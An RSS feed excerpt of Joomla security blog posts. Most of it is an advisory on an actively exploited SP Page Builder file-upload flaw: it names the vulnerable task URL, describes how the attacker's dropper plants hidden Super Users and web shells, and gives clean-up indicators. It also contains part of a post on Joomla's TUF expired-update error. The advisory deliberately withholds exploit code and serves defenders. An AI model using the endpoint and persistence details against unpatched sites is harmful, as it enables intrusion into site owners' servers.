&lt;td&gt;CVSS 4.0 Score&lt;/td&gt;
&lt;td&gt;10.0 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS Vector&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-284: Improper Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;iCagenda 3.2.1 through 3.9.14 and 4.0.0 through 4.0.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RCE scope&lt;/td&gt;
&lt;td&gt;Joomla 6 only (earlier Joomla versions block the upload in core); access bypass on all Joomla versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;3.9.15 (legacy) and 4.0.8 (current)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exploit maturity&lt;/td&gt;
&lt;td&gt;Actively Attacked&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This iCagenda zero day was one entry in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and reported&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlic.com/news/icagenda-security-update&quot;&gt;JoomliC&apos;s official iCagenda security advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vulnerability.circl.lu/vuln/cve-2026-48939&quot;&gt;CVE-2026-48939 on vulnerability.circl.lu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.icagenda.com/#download&quot;&gt;iCagenda official site and download&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot;&gt;Joomla security best practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>icagenda</category><category>rce</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/icagenda-zero-day-file-upload-rce.QzxVYfyE.png" length="0" type="image/png"/></item><item><title>SP Page Builder Zero Day Is Being Used to Plant Fake Joomla Admins</title><link>https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/</guid><description>An unauthenticated file upload in SP Page Builder gives attackers remote code execution on Joomla sites and is being used to create hidden Super User accounts. It is fixed in 6.6.2. Update now and check for rogue admins.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There is a particular kind of hacked Joomla site that looks completely fine until you open the user list and find Super Administrators nobody created, with plausible-sounding names like &quot;Web Editor&quot; or &quot;Admin Backup&quot; and email addresses at &lt;code&gt;@secure.local&lt;/code&gt;. We have been seeing those accounts turn up across Joomla sites this month, and we traced them back to a single cause: a zero day in &lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder&lt;/a&gt;, the popular page builder by JoomShaper.&lt;/p&gt;
&lt;p&gt;The flaw lets anyone, with no login at all, upload a PHP web shell through one of the component&apos;s own endpoints and then run it. That is remote code execution: full control to steal data, deface pages, plant backdoors, or use the server to attack other sites. The attacker&apos;s payload uses that control to create the hidden Super User, so even after the entry point is closed they still have a way back in. It affects every version up to and including 6.6.1, and it is already being exploited in the wild.&lt;/p&gt;
&lt;p&gt;The patch is &lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder 6.6.2&lt;/a&gt;. If you run any Joomla site with SP Page Builder installed, update it now, then read on for what the bug does, how to spot the hidden admin, and how to check the rest of your sites in one place.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-48908&lt;/strong&gt; - CVSS 4.0 score: &lt;strong&gt;10.0 Critical&lt;/strong&gt; (CWE-284: Improper Access Control)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated file upload to remote code execution&lt;/strong&gt; in SP Page Builder, through the &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; task. No login required&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;every version up to and including 6.6.1&lt;/strong&gt;. Fixed in &lt;strong&gt;6.6.2&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Already exploited in the wild.&lt;/strong&gt; The payload plants a hidden Super Administrator account, usually with an &lt;code&gt;@secure.local&lt;/code&gt; email, plus a PHP file manager backdoor in several spots for persistence&lt;/li&gt;
&lt;li&gt;This is a &lt;strong&gt;different vector from the recent JCE wave&lt;/strong&gt;. A WAF that returns 403 for the JCE exploit paths may still let this one through with a 200&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 6.6.2 on every affected site, then check for rogue Super Users and clean any site that was hit.&lt;/strong&gt; Unpublishing the component does not protect you&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;This is being actively exploited right now. The fix exists, and the technical detail is going public, which means more scanners will know exactly what to look for. The sites that get caught are the ones still on an old version when that happens. Update to 6.6.2 before you do anything else, then check whether you were already hit.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Find Sites With Rogue Super Admins, Across Every Joomla Site, in mySites.guru&lt;/h2&gt;
&lt;p&gt;When a zero day plants a hidden admin account, the dangerous part is not the one site you already found. It is the other forty you have not checked yet. Logging into every Joomla admin and reading the user list one site at a time is exactly the job nobody finishes before the attacker comes back.&lt;/p&gt;
&lt;p&gt;We built a dedicated check for this. mySites.guru now has a &lt;a href=&quot;https://mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;&lt;strong&gt;Rogue Super Admin Accounts&lt;/strong&gt; tool&lt;/a&gt; that looks for the signature of this compromise: Super Administrator accounts carrying the attacker&apos;s &lt;code&gt;@secure.local&lt;/code&gt; email domain. It runs across every connected Joomla site and lists the sites that have one, so you find all of them in seconds instead of discovering them one nasty surprise at a time. When it finds a rogue admin, you can delete it straight from the dashboard, then move on to cleaning the rest of the site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;To find which of your sites even run SP Page Builder in the first place, mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension search&lt;/a&gt; shows you every site running SP Page Builder, grouped by version. Filter for anything below 6.6.2 and you have your patch list. Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 6.6.2 across every affected site in one batch.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; and connect your sites. The extension index and the rogue admin check both run automatically on the first snapshot, so you will know straight away which sites are exposed and which are already compromised.&lt;/p&gt;
&lt;h2&gt;What the Bug Actually Did&lt;/h2&gt;
&lt;p&gt;SP Page Builder exposes a controller task named &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt;, reached through a normal Joomla request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;index.php?option=com_sppagebuilder&amp;amp;task=asset.uploadCustomIcon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That task is meant to handle a small administrative job, uploading a custom icon. The problem is that it processed the uploaded file with no authentication check and no server-side restriction on the file type, then wrote it to a folder under the web root. Joomla ships helpers that validate uploads against an allow-list of safe extensions, and this path did not use them. So an attacker could upload a &lt;code&gt;.php&lt;/code&gt; file, browse to it, and the server would execute it. That is the whole chain, and it is as bad as web vulnerabilities get.&lt;/p&gt;
&lt;p&gt;Because the task required no login, the attack worked against a completely default install. There was nothing to enable, no guest setting to toggle, no SP Page Builder page that needed to be published. The endpoint was reachable on any Joomla site with the component installed.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;We are deliberately not publishing a working exploit. The mechanism above is enough to understand the risk and confirm your sites are patched. It is not a recipe. The fix is out, so the right response to this post is to update and check your admins, not to test it on someone else&apos;s site.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;We reviewed the 6.6.2 source to confirm the fix is real. In every version up to 6.6.1, the SP Page Builder site controller that handles &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; ran no access check at all, which is why an anonymous request reached the upload. 6.6.2 adds a gate that runs before every task in that controller: it requires a logged-in user who holds Joomla admin or component-manage permission, plus a valid anti-CSRF token, and returns a 401 or 403 otherwise. The endpoint that was wide open is now behind the authentication and authorization it should always have had. That is the whole fix, and it is why landing on 6.6.2 closes the door.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What the Attacker Leaves Behind&lt;/h2&gt;
&lt;p&gt;This is the part that makes the SP Page Builder zero day worse than a smash-and-grab. The attacker does not just get one-time code execution and move on. The payload uses that access to set up a quiet, durable foothold.&lt;/p&gt;
&lt;p&gt;First, it creates &lt;strong&gt;hidden Super Administrator accounts&lt;/strong&gt;. We have seen sites with several at once, carrying forgettable usernames built from a generic role word and a couple of digits. Alongside &lt;code&gt;webeditor48&lt;/code&gt;, &lt;code&gt;sitehelper7&lt;/code&gt; and &lt;code&gt;adminbk&lt;/code&gt;, real accounts we have pulled off compromised sites include &lt;code&gt;webeditor67&lt;/code&gt;, &lt;code&gt;webmaster63&lt;/code&gt;, &lt;code&gt;webmanager38&lt;/code&gt;, &lt;code&gt;siteeditor38&lt;/code&gt;, &lt;code&gt;webmanager43&lt;/code&gt; and &lt;code&gt;portaladmin51&lt;/code&gt;, with reassuring display names like &quot;Web Editor&quot;, &quot;Site Helper&quot; and &quot;Admin Backup&quot;. The exact names vary from site to site, so do not treat them as a fixed list to match against. The group is always Super Users, and the email address always ends in &lt;code&gt;@secure.local&lt;/code&gt;. That email domain is the giveaway. It is not a real domain, and no legitimate Joomla account uses it. If you see even one Super User with an &lt;code&gt;@secure.local&lt;/code&gt; address, that site has been compromised through this exploit.&lt;/p&gt;
&lt;p&gt;We pulled a copy of the dropper off a compromised site, and the part that builds the account explains exactly why the signature is so consistent. It picks a username at random from a small hard-coded list of innocent-sounding role words (&lt;code&gt;webeditor&lt;/code&gt;, &lt;code&gt;contentmgr&lt;/code&gt;, &lt;code&gt;sysadmin&lt;/code&gt;, &lt;code&gt;webmaster&lt;/code&gt;, &lt;code&gt;portaladmin&lt;/code&gt;, &lt;code&gt;siteeditor&lt;/code&gt;, &lt;code&gt;webmanager&lt;/code&gt;, &lt;code&gt;cmsadmin&lt;/code&gt;), tacks on two digits, and stamps the email as that username &lt;code&gt;@secure.local&lt;/code&gt;. It connects straight to the database using the credentials it read out of &lt;code&gt;configuration.php&lt;/code&gt;, sets &lt;code&gt;sql_mode&lt;/code&gt; to empty to dodge strict-mode rejections, inserts the user unblocked, maps it into the Super Users group, and writes the matching &lt;code&gt;#__assets&lt;/code&gt; row so the account looks completely native in the admin. The &lt;code&gt;@secure.local&lt;/code&gt; suffix is hard-coded into the dropper, which is what makes it worth hunting for: it never changes, site to site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Second, it drops a &lt;strong&gt;PHP file manager backdoor&lt;/strong&gt;. This is a full-featured admin panel, branded internally as &quot;PHP File manager ver 1.4&quot;, with file browsing, a built-in PHP console, and a SQL console. The attacker plants several identical copies of it in innocuous-looking places, typically a &lt;code&gt;.php&lt;/code&gt; file under &lt;code&gt;images/&amp;lt;random&amp;gt;/fonts/&lt;/code&gt;, and stray copies named &lt;code&gt;users.php&lt;/code&gt; in folders like &lt;code&gt;/media/com_admin/&lt;/code&gt; and &lt;code&gt;/media/regularlabs/&lt;/code&gt;. The point of scattering identical copies is persistence: if you find one and delete it, the others are still there, and they all let the attacker straight back in.&lt;/p&gt;
&lt;p&gt;One operational note if you are reading your logs. Joomla writes the user account&apos;s creation timestamp in the site&apos;s own timezone, taken from &lt;code&gt;configuration.php&lt;/code&gt;, not in UTC. Your web server access logs are usually in UTC. So a rogue admin that looks like it was created at, say, 19:20 in the user table can correspond to an upload at 02:20 the next morning in the access log. Convert before you go looking, or you will search the wrong window and conclude, wrongly, that the log is clean.&lt;/p&gt;
&lt;h2&gt;A WAF That Stops the JCE Hack Might Not Stop This&lt;/h2&gt;
&lt;p&gt;If you have been keeping up with Joomla security this year, you have already deployed WAF rules for the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE editor file upload&lt;/a&gt;. It is tempting to assume those rules cover this too. They often do not.&lt;/p&gt;
&lt;p&gt;This is a separate vector with a separate request signature. We have watched WAF configurations, including ones tuned specifically for the JCE wave, correctly return a 403 for the &lt;code&gt;com_jce&lt;/code&gt; exploit paths while letting the SP Page Builder &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; request sail through with a 200. The rule was written for the last attack, not this one. That is the trap with signature-based blocking: it protects you against exactly the thing it was told about and nothing else.&lt;/p&gt;
&lt;p&gt;If you cannot update to 6.6.2 immediately, a web server rule that blocks requests carrying the &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; task will buy you time. One thing to watch: the dot in the task name can be sent URL-encoded as &lt;code&gt;%2e&lt;/code&gt;, and a naive rule that only matches a literal dot will miss it. The rule has to account for the encoded form too. But a blocking rule is a stopgap. The real fix is the update.&lt;/p&gt;
&lt;h2&gt;Update to 6.6.2, Then Hunt the Admin&lt;/h2&gt;
&lt;p&gt;The fix is SP Page Builder 6.6.2. Updating to it closes the upload hole. You have three ways to do it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla admin:&lt;/strong&gt; update SP Page Builder the normal way through the Joomla updater&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru dashboard:&lt;/strong&gt; push the update across several sites at once without logging into each one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direct download:&lt;/strong&gt; grab 6.6.2 from &lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;joomshaper.com&lt;/a&gt; and install it over the top&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The one thing that matters is that you land on 6.6.2 or later. If you took emergency action before updating and renamed or removed the component, reinstall it from a clean 6.6.2 download rather than putting the old files back, otherwise you are restoring the vulnerable version.&lt;/p&gt;
&lt;p&gt;But updating only stops the next attempt. Because this was being actively exploited and the payload plants a hidden admin, you have to assume some sites were hit and check every one.&lt;/p&gt;
&lt;h2&gt;Updating Closes the Door. The Hidden Admin Is Already Inside&lt;/h2&gt;
&lt;p&gt;This is the step people skip, and on this vulnerability it is the one that matters most. A patched site with a rogue Super User on it is still fully compromised. The attacker does not need the upload bug any more, they have a Super Administrator login.&lt;/p&gt;
&lt;p&gt;For every site that had SP Page Builder below 6.6.2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Check the user list for accounts you did not create.&lt;/strong&gt; The clear signal is a Super Administrator with an &lt;code&gt;@secure.local&lt;/code&gt; email. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;Rogue Super Admin check&lt;/a&gt; does this across all your Joomla sites at once, lists every flagged account so you can see exactly who will be removed, and deletes them all with one click. Deletion is permanent and there is no backup, so note anything you want for evidence first&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Do not treat a clean result as all-clear.&lt;/strong&gt; If the check finds no &lt;code&gt;@secure.local&lt;/code&gt; admins, that only rules out this specific account signature. The site can still be hacked, so run a full audit and the Suspect Content scan anyway&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Look for the dropped webshell.&lt;/strong&gt; Search for unexpected &lt;code&gt;.php&lt;/code&gt; files under &lt;code&gt;images/&amp;lt;random&amp;gt;/fonts/&lt;/code&gt;, and for stray files named &lt;code&gt;users.php&lt;/code&gt; in folders like &lt;code&gt;/media/com_admin/&lt;/code&gt; and &lt;code&gt;/media/regularlabs/&lt;/code&gt;. The file contents will mention a &quot;PHP File manager&quot;. Multiple identical copies is normal for this attack, so do not stop at the first one. You do not have to grep for these by hand: mySites.guru already catches them&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Let the scanner find the backdoor for you.&lt;/strong&gt; These &lt;code&gt;users.php&lt;/code&gt; &quot;PHP File manager&quot; droppers are exactly what mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Suspect Content and Hacked file scanners&lt;/a&gt; are built to flag. The scanner runs on every snapshot, twice a day, on every connected Joomla site, matching files against thousands of web shell signatures and surfacing files that do not belong, so a copy hiding in &lt;code&gt;/media/com_admin/&lt;/code&gt; is found just as readily as the one under &lt;code&gt;images/&amp;lt;random&amp;gt;/fonts/&lt;/code&gt;. Open each affected site in the dashboard and check its &lt;strong&gt;Hacked?&lt;/strong&gt; section. Worth knowing which flag is which: see &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect Content vs Hacked Files&lt;/a&gt; for what each result means and which ones are a confirmed compromise rather than a pattern match&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find anything, treat that site as compromised and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;clean it properly&lt;/a&gt;: remove the rogue admin and every backdoor copy, rotate your Joomla passwords, database credentials and FTP/SSH keys, force-logout all sessions, and audit the whole site rather than just the SP Page Builder folder. Someone who got in through one component will usually leave a second way back in somewhere you would not think to look. Finding one mess is a reason to check the whole house.&lt;/p&gt;
&lt;h2&gt;This Keeps Happening to Joomla Components&lt;/h2&gt;
&lt;p&gt;SP Page Builder is not an outlier. It joins a steady run of third-party Joomla component vulnerabilities we have written up this year, several with the same shape: an endpoint that should have been locked down, reachable without authentication, doing something dangerous. The &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda zero day&lt;/a&gt; was another unauthenticated file upload, found the same week as this one. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid framework backdoor&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain framework RCE&lt;/a&gt; were both unauthenticated code execution in widely-installed extensions. The &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;vulnerable JCE editor&lt;/a&gt; was another file upload, and &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; (a different page builder again, from a different vendor) was the same unauthenticated upload-to-RCE story a few months later. JoomShaper&apos;s own Helix3 template framework has since joined the list: its unauthenticated flaw is being mass-exploited in the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt;, the same vendor and the same class of bug turning up again in a different product. The underlying pattern, where an &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX or form endpoint skips its authorization check&lt;/a&gt;, is one of the most common ways Joomla sites get hacked through no fault of the site owner.&lt;/p&gt;
&lt;p&gt;The lesson is not &quot;stop using extensions&quot;. Extensions are what make Joomla useful, and SP Page Builder is genuinely good at its job. The lesson is that the security of your sites depends on code other people wrote, shipped on their own schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites run it, patch them all at once, and check whether any were already turned into an attacker&apos;s beachhead. That is the entire reason mySites.guru indexes every extension on every site you connect and ships a specific check the moment a specific attack like this one appears. When the next one drops, and there will be a next one, you want to be the operator who patched and swept before the scanner came back, not the one finding an &lt;code&gt;@secure.local&lt;/code&gt; admin three weeks later.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;This vulnerability is tracked as &lt;strong&gt;CVE-2026-48908&lt;/strong&gt;, published 20 June 2026 by the Joomla security team.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-48908&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0 Score&lt;/td&gt;
&lt;td&gt;10.0 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS Vector&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-284: Improper Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;SP Page Builder 1.0.0 through 6.6.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;6.6.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exploit maturity&lt;/td&gt;
&lt;td&gt;Actively Attacked&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Every Joomla extension vulnerability we disclosed in a single month&lt;/a&gt; - the roundup this SP Page Builder zero day belongs to&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vulnerability.circl.lu/vuln/cve-2026-48908&quot;&gt;CVE-2026-48908 on vulnerability.circl.lu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder by JoomShaper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot;&gt;Joomla security best practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>sp-page-builder</category><category>rce</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/sp-page-builder-zero-day-uploadcustomicon-rce.DGMfCJ7_.png" length="0" type="image/png"/></item><item><title>Joomla Update Not Possible Because the Offered Update Has Expired</title><link>https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/</guid><description>Joomla shows &quot;Update not possible because the offered update has expired&quot;? It is usually not your site. Here is the real cause, how to tell which one you have, and the fix.</description><pubDate>Sat, 13 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You click Check for Updates in Joomla, expecting the new version you know is out, and instead get a red banner:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update not possible because the offered update has expired.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Depending on your language pack you might see it worded slightly differently, for example &quot;The update is not possible because the proposed update has expired.&quot; It is the same error either way.&lt;/p&gt;
&lt;p&gt;The wording makes it sound like your site did something wrong. It did not. This is a security feature working exactly as designed, and the cause is almost always on Joomla&apos;s side, not yours. Most of the forum threads you will find answer it with &quot;try a manual update&quot; or &quot;clear your cache&quot; without ever explaining what actually happened, which means a lot of people end up resetting and reinstalling things that were never broken.&lt;/p&gt;
&lt;p&gt;Here is the real mechanism, how to tell whether the problem is Joomla&apos;s update server or your own install, and the right fix for each, so you stop the second it is safe to.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;TL;DR&lt;/p&gt;
  &lt;p&gt;This is the Joomla core project&apos;s problem, not yours, and there is nothing on your site for you to fix. Their update server stopped receiving the freshly signed files it needs, the existing ones expired, and your Joomla correctly refused to trust expired data. You cannot fix it from your end. You wait for the Joomla core project to get their ducks in a row and redeploy the files, which they have had to do more than once before. Re-check in an hour, and if you genuinely cannot wait, use Upload and Update with the package from joomla.org.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How mySites.guru Caught This Across Thousands of Joomla Sites&lt;/h2&gt;
&lt;p&gt;When we manage thousands of Joomla sites at &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru&lt;/a&gt;, an error that fires on Joomla&apos;s central update server is not a one-site curiosity. It hits every site at once, and we want to know about it before clients do.&lt;/p&gt;
&lt;p&gt;We built a monitor that watches Joomla&apos;s TUF update endpoints every hour and emails us the moment the signing metadata is expired or about to expire. It checks the same three signed files Joomla clients read (timestamp, snapshot, targets) across three vantage points: what the CDN serves, what the origin server serves once you bust the cache, and what the source repository holds. When those three disagree, something in Joomla&apos;s publishing pipeline has stalled and every site checking for an update in that window will see the expired-update error.&lt;/p&gt;
&lt;p&gt;That is exactly what happened on 13 June 2026, and the monitor is why this post exists. The numbers below are the live state our check recorded that afternoon, not a reconstruction.&lt;/p&gt;
&lt;div&gt;
  &lt;table&gt;
    &lt;caption&gt;timestamp.json, verified live 2026-06-13 around 19:00 UTC&lt;/caption&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Source&lt;/th&gt;
        &lt;th&gt;Version&lt;/th&gt;
        &lt;th&gt;Expires&lt;/th&gt;
        &lt;th&gt;State&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;th&gt;joomla/updates git repo (HEAD)&lt;/th&gt;
        &lt;td&gt;v1106&lt;/td&gt;
        &lt;td&gt;2026-06-16&lt;/td&gt;
        &lt;td&gt;fresh&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;th&gt;update.joomla.org/cms origin (cache-bust MISS)&lt;/th&gt;
        &lt;td&gt;v1100&lt;/td&gt;
        &lt;td&gt;2026-06-13 01:20 UTC&lt;/td&gt;
        &lt;td&gt;expired ~18h ago&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;th&gt;update.joomla.org/cms via Cloudflare (HIT)&lt;/th&gt;
        &lt;td&gt;v1100&lt;/td&gt;
        &lt;td&gt;2026-06-13 01:20 UTC&lt;/td&gt;
        &lt;td&gt;expired, last modified Jun 11&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;If you run more than a handful of Joomla sites, this is the difference between learning about an update outage from a dashboard and learning about it from a client. The rest of this post is the full explanation, which works whether or not you use a management platform.&lt;/p&gt;
&lt;h2&gt;What Does the Joomla &quot;Offered Update Has Expired&quot; Error Actually Mean?&lt;/h2&gt;
&lt;p&gt;The error is a TUF freeze-attack warning. Internally it is the language string &lt;code&gt;JLIB_INSTALLER_TUF_FREEZE_ATTACK&lt;/code&gt;, and it fires when the signed update metadata Joomla downloads has an expiry date that is now in the past.&lt;/p&gt;
&lt;p&gt;Since Joomla 5.1, core updates are secured with &lt;a href=&quot;https://theupdateframework.io/&quot;&gt;TUF, The Update Framework&lt;/a&gt;. Instead of trusting a plain XML file, Joomla downloads a set of cryptographically signed metadata files and verifies them before it will install anything. Every one of those files carries an expiry date on purpose. A freeze attack is when someone replays old but still-valid-looking update data to keep your site frozen on an outdated, vulnerable version. TUF defends against it by refusing any metadata whose expiry has passed.&lt;/p&gt;
